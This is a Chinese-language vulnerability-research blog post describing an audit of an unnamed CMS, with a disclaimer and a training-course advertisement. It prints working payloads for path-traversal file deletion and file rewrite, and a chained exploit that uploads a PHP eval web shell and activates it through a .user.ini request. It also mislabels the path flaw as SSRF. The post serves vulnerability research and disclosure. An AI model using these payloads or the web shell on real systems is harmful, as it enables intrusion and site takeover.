对某cms的漏洞挖掘之旅

  • A+
所属分类:代码审计
对某cms的漏洞挖掘之旅
原创稿件征集

邮箱:[email protected]
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
漏洞、技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬

声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。

前言

在考试期间,由于复习不下去了,就想去挖挖洞,想着挖不动了就复习,复习不下去就挖洞,这样就可以形成了一个良性循环。

对某cms的漏洞挖掘之旅

漏洞查找

先在gitee网站随便找个cms,然后下载下来,用Seay扫一下

这里显示说有很多地方可能有漏洞,我们从中慢慢审核,这里我找到其中一个点,Template.php

对某cms的漏洞挖掘之旅

找到位置,然后进行代码审计。代码有点多,我这里就提取重点的代码进行分析。

任意文件删除

首先看Template.php文件的delete方法。

对某cms的漏洞挖掘之旅

在这里可以看到文件路径是通过固定的路径+文件名去拼接而成的。

那么我们接下来来分别分析一下固定路径和文件名。

固定路径,首先有个$type==$this->viewSuffix去检查文件类型,如果符合则返回$path=$this->filepath否则返回$this->publicpath.$type.'/'

这里直接在本地加个输出函数就可以找到具体位置了

html-->applicationhomeview其他--->publicstatichome

文件名就是输入的,没对其进行过滤,而且文件名是可控的,我们就可以通过这点找到SSRF漏洞并加以利用。

对于这个方法,他会删除我们所构建的路径文件名。

删除html文件

知道了html文件的固定路径是applicationhomeview,我们就直接利用。

首先现在根目录文件下放一个目标html文件

对某cms的漏洞挖掘之旅


构造payload

/admin/template/delete.html?file=../../../test.html

可以观察到目标文件被删除

对某cms的漏洞挖掘之旅

删除其他文件

知道其他文件的固定路径是publicstatichome,我们就直接利用。

同样在根目录下放目标文件。

结果

对某cms的漏洞挖掘之旅

构造payload

Payload1:/admin/template/delete.html?file=../../../../test.php
Payload2:/admin/template/delete.html?file=../../../../test.t

结果

对某cms的漏洞挖掘之旅

对某cms的漏洞挖掘之旅

影响

此处漏洞的影响确实并不大,前提是需要改cms的情况下,可以对网站造成破坏,但是这里是为后面getshell打下基础。

任意文件重写

同样的方法,我们找到Template.php文件的update方法。

对某cms的漏洞挖掘之旅

这里先判断是否存在文件,若存在,则重写该文件。

这里要注意一下,和上面一样,这里html文件和其他文件的路径是不同的,但是和上面的漏洞是一样的。

文件的路径这里就不多写了,和上面一样,自己看看就知道了。

起初我是想,通过在后面添加而已文件拿下这个cms,但是这里对其进行了过滤。

对某cms的漏洞挖掘之旅

可以看到这里过滤了<>符号,所以这个利用方法的危险等级就降低了,和上面一个只能搞搞破坏而已。

在这里随便测试了过滤的字符,发现这个cms还过滤了+

文件上传并getshell

漏洞基础

这里先整理一下上面的内容。

首先我们找到了一个SSRF漏洞,但是他过滤了<>+这几个特殊字符,我们想拿下这个cms得上传php文件,但是php文件得有<>啊,那怎么办。

利用.htaccess绕过,这是一个好方法,可以绕过<>被过滤的方法,但是用.htaccess绕过是将<>替换为+ADw+AD4-

这里就发现+被过滤了,我...。

对某cms的漏洞挖掘之旅


(在挖不下去去复习,复习不下去又回来挖,终于被我找另外一个可以利用的点)

cms表面是把所有上传的文件的<>代替了,但是他有一个地方忘记去过滤了。

就是微信管理功能模块。

在这个cms的微信管理->消息素材->单图文(这个不一定要单图文,只不过我用的是这个地方)->编辑

对某cms的漏洞挖掘之旅

这种界面应该不陌生吧,我发现这里的附件上传中,后台不会对附件的内容进行过滤。

现在弄shell.txt文件

<?php phpinfo();?>

可以看到文件被上传了,里面的内容没被改变。

对某cms的漏洞挖掘之旅

注:这里之所以不能直接上传php文件是因为php文件被过滤了。

单单一个非php文件当然是不行的。

回到开始的Template.php文件中,这一次利用insert方法。

对某cms的漏洞挖掘之旅

这里和上面有点不一样的是他在path后面加了个/,所以我们构造的时候可以在type加上两个点用来跨越目录。

好了有了这两个漏洞点,我们就可以利用文件上传的.user.ini进行绕过。

这里我也简单说一下,.user.ini绕过,就是在当前目录下,有一个php文件(这个php文件内容不用管,可有可无),一个有木马的其他文件,和一个.user.ini文件。

我们通过.user.ini的性质,将有木马的其他文件以php文件方式执行。

利用过程

我们首先先上传一个有木马的其他文件。

这里还是叫shell.txt,文件内容如下

<?php @eval($_POST[1]);?>
文件路径为:publicuploadsueditorfile20210712

文件名为:1626104976.txt

上传.user.ini文件

type=../..&file=uploads/ueditor/file/20210712/.user.ini/&content=auto_prepend_file=1626104976.txt

对某cms的漏洞挖掘之旅

上传php文件,我这里就上传个空壳文件。

type=../..&file=uploads/ueditor/file/20210712/index.php/&content=

对某cms的漏洞挖掘之旅

访问当前目录,可以看到被控制了

对某cms的漏洞挖掘之旅

连接蚁剑

对某cms的漏洞挖掘之旅

总结

漏洞已经上交于相关平台,在挖洞过程中主要是他对于一些特殊符号的过滤,导致挖洞难度增加,但是还是由于没对所有文件进行过滤,导致出现两个漏洞点结合然后getshell。


实操推荐:《CMS安全实践》

https://www.hetianlab.com/cour.do?w=1&c=CCIDead9-9369-4950-8c61-7430fed27d23&pk_campaign=weixin-wemedia#stu

通过本课程的学习了解常见CMS存在的安全漏洞,掌握漏洞利用和修复技术。

对某cms的漏洞挖掘之旅


“阅读原文”


体验免费靶场

本文始发于微信公众号(合天网安实验室):对某cms的漏洞挖掘之旅

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: